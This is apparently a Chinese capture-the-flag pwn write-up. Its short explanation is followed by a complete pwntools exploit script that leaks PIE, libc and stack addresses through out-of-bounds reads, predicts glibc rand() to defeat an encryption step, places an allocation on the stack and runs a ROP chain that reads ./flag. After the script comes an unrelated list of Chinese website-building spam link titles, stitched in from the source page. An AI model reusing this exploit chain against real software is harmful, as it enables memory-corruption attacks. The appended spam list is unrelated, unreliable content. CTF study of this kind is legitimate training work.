然后show正越界泄露r_debug地址也可以直接泄露got内的libc地址然后根据r_debug地址偏移得到libc的link_map地址所在的地址再得到和pie上的heap_list的偏移来show泄露libc地址然后根据libc地址得到randtbl[13]所在的地址和randtbl[1]的地址所在的地址unsafe_state 中有即unsafe_state 和unsafe_state 8然后show泄露randtbl的内容fptr 和rptr 和fptr 0x10的内容每个泄露四个 泄露environ栈地址同理或者也可以用edit_name写libc地址和show负越界来泄露然后根据rand函数和泄露的randtbl来绕过rand 然后每次rand后会将fptr当前值和rptr当前值相加给fptr由于fptr的数组和rptr的数组都是一直往右走的由于我们最后输入八个字节到heap的next区域所以此时根据处理函数会进行循环两次总共八次randfptr和rptr移动八次fptr这里是够的所以最后更新的相加的值加到rptr后面 最后分配到将栈地址进行相关rand处理然后分配到栈上去注意选择栈地址要保证对齐不断往小尝试这里将分配到read函数的返回地址所在的栈的位置处 . . 这里直接利用read函数残留的寄存器再次调用read的系统调用而且地址就是刚刚调用过的 然后再次调用read先填充之前的直到当前的ret对应的返回地址才开始rop exp from pwn import *s lambda data :io.send(data) sa lambda delim,data :io.sendafter(str(delim), data) sl lambda data :io.sendline(data) sla lambda delim,data :io.sendlineafter(str(delim), data) r lambda num :io.recv(num) rl lambda :io.recvline() ru lambda delims, dropTrue :io.recvuntil(delims, drop) itr lambda :io.interactive() uu32 lambda data :u32(data.ljust(4,b\x00)) uu64 lambda data :u64(data.ljust(8,b\x00)) ls lambda data :log.success(data) lss lambda s :log.success(\033[1;31;40m%s -- 0x%x \033[0m % (s, eval(s)))context.arch amd64 context.log_level debugbinary ./pwn libelf if (binary!): elf ELF(binary) ; ropROP(binary);libc elf.libc if (libelf!): libc ELF(libelf)gdbscript #continue .format(**locals())io process(./pwn)def add(idx):ru()s(p32(0x48260A))ru(idx:)s(p8(idx))def edit(idx,text):ru()s(p32(0x4E430A))ru(idx:)s(p8(idx))ru(input: )s(text)def show(idx):ru()s(p32(0x54460A))ru(idx:)s(p64(idx)[:-1])ru(ciphertext: )def rm(idx):ru()s(p32(0x7B7D0A))ru(idx:)s(p8(idx))def edit_name(name):ru()s(p32(0x50460A))ru( )s(p32(0x65646974))ru(: )s(name)def show_name():ru()s(p32(0x50460A))ru( )s(p32(0x73686F77))def backdoor(text):ru()s(p32(0x62640A))s(text)def rdata():ru(\n)data bytes.fromhex(rl().decode().replace( ,))return dataadd(0) add(1) rm(0) rm(1)show(0) data rdata() key uu64(data[:8]) heap_addr key 0xClss(heap_addr)backdoor(\xff*0x38)show((164)-0x13)elf_base uu64(rdata()[:8]) - 16392heap_list elf_base 0x40A0 lss(heap_list)show(1068)libc_ptr uu64((rdata()[8:])) - 0x3c9b8-0x1c8-0x558lss(libc_ptr)# leak libc_base offset (libc_ptr - heap_list) // 8 show(offset) libc_base uu64((rdata()[:8])) lss(libc_base)print(libc,libc_base)ptr1 libc_base 2205792 # randtbl[13] ptr2 libc_base 2205792 8 # randtbl[1] lss(ptr1) lss(ptr2) offset (ptr1 - heap_list) // 8show(offset) # randtbl[13] 4 content data1 rdata()offset (ptr2 - heap_list) // 8show(offset) # randtbl[1] 4 content data2 rdata()print(data1,data1) print(data2,data2)environ libc_base libc.sym[environ] offset libc_base 2204196 # unsafe_state lss(environ) lss(offset) name p64(offset) p64(environ)[:-2] edit_name(name)backdoor(\xff*0x38) show((164)-0xC) data3 rdata() print(data3) # randtbl[134] 4 contentbackdoor(\xff*0x38) show((164)-0xb) stack uu64(rdata()[:8]) - 8 # name8lss(stack)edx [ uu32(data1[_:_4]) for _ in range(0,len(data1),4)] ecx [ uu32(data2[_:_4]) for _ in range(0,len(data2),4)]tmp [ uu32(data3[_:_4]) for _ in range(0,len(data3),4)] print(ecx) print(edx) print(tmp)edx tmpunsafe_state 0 def me_rand(): # 直接gdb 跟进 rand() 看看随机数是怎么生成的global unsafe_statei unsafe_stateprint(ecx)print(edx)ecx_ ecx[i]edx_ edx[i]eax ecx_ edx_eax eax 0xFFFFFFFFprint(add,eax)ecx.append(1)ecx[i3] eaxeax eax 1eax eax 0xFFFFFFFFprint(hex(eax))unsafe_state 1return eax #队头自加队尾值将此值保存为结果然后队头队尾统一后移一项再将结果作为生成的随机数返回即可。def encrypto(eax):v5 me_rand() % 703710v6 me_rand() ^ v5v2 (v6 me_rand() v5) 0xFFFFFFFFeax ^ v2 - me_rand()return eaxret_stack ((stack-0x190)^ key) low encrypto(ret_stack 0xFFFFFFFF) high encrypto(ret_stack 32 ) 32expdata high lowprint(expdata)gdb.attach(io)edit(1,p64(expdata))add(2) add(3)pause() rax libc_base 0x0000000000045eb0 # pop rax ; ret rdx libc_base 0x000000000011f2e7 # pop rdx ; pop r12 ; ret rdi libc_base 0x2a3e5 # pop rdi ; ret rsi libc_base 0x02be51 # pop rsi ; ret syscall libc_base libc.sym[read] 16 # syscallpay ba*0x28 pay p64(rax) p64(0) # 0x38 pay p64(rdx) p64(0x1000)*2 # 0x50 pay p64(syscall) edit(3,pay)# #define __NR_openat2 437flag_addr stack-0x68pay bb * 0x58 # pay p64(rax) p64(0x101) p64(rdi) p64(rax) p64(0x101) p64(rdi)p64(0xffffffffffffff9c) p64(rsi) p64(flag_addr) p64(rdx) p64(0) * 2 p64(syscall) pay p64(rdi) p64(3) p64(rsi) p64(flag_addr) p64(rdx) p64(0x100) * 2 p64(libc_base libc.sym[read]) pay p64(rdi) p64(1) p64(rsi) p64(flag_addr) p64(rdx) p64(0x100) * 2 p64(libc_base libc.sym[write]) pay b./flag.ljust(0x8,b\x00)sl(pay) io.interactive()
http://www.pierceye.com/news/516585/

相关文章:

  • 南京做网站费用做网站的服务器配置
  • 外贸用什么平台自建站较好门户网站盈利
  • 外包兼职做图的网站做视频网站用哪个模板
  • 全球购物网站大全百度网盟推广官方网站
  • 计算机网站维护建设深圳外网站建设
  • 贵州公明建设投资咨询有限公司官方网站小说网站开发对影成三人小说
  • 软件分享网站不一样的婚恋网站怎么做
  • 如何维护给做网站的客户公司变更名称和经营范围
  • 网站建设维护php建站最好的公司排名
  • 济南1951年建站wordpress 描述
  • 政务网站建设信息嵊州网站制作
  • 我的网站突然找不到网页了seo是啥意思
  • 黑河做网站的公司平面设计现在怎么样
  • 银川网站建站中国建设银行人力资源网站
  • 建设部考试中心网站用自己的ip怎么查看dw8建设的网站
  • 九江网站建设九江商标设计网页
  • 网站建设资格预审公告附近广告设计与制作门店电话
  • 百度权重站长工具网页制作工具哪些好用
  • 关键词整站优化公司网站店招用什么软件做的
  • 租车网站模版广州市网站建设 骏域
  • 关闭网站怎么不保存我做的更改人工智能专业
  • ui中有哪些做的好看的网站简单logo设计
  • 深圳大型网站设计公司校园 网站建设 知乎
  • 西部数码网站流量怎么充优化网站界面的工具
  • 街区网站建设东阳市住房和城乡建设局网站
  • 怎样建设网站是什么网站代码制作软件
  • 成华区微信网站建设计公司加盟
  • 找个男做那个视频网站好高端网站建设公司
  • 做网站 毕业设计广东手机网页制作
  • 沈阳口碑最好的男科医院seo排名优化什么意思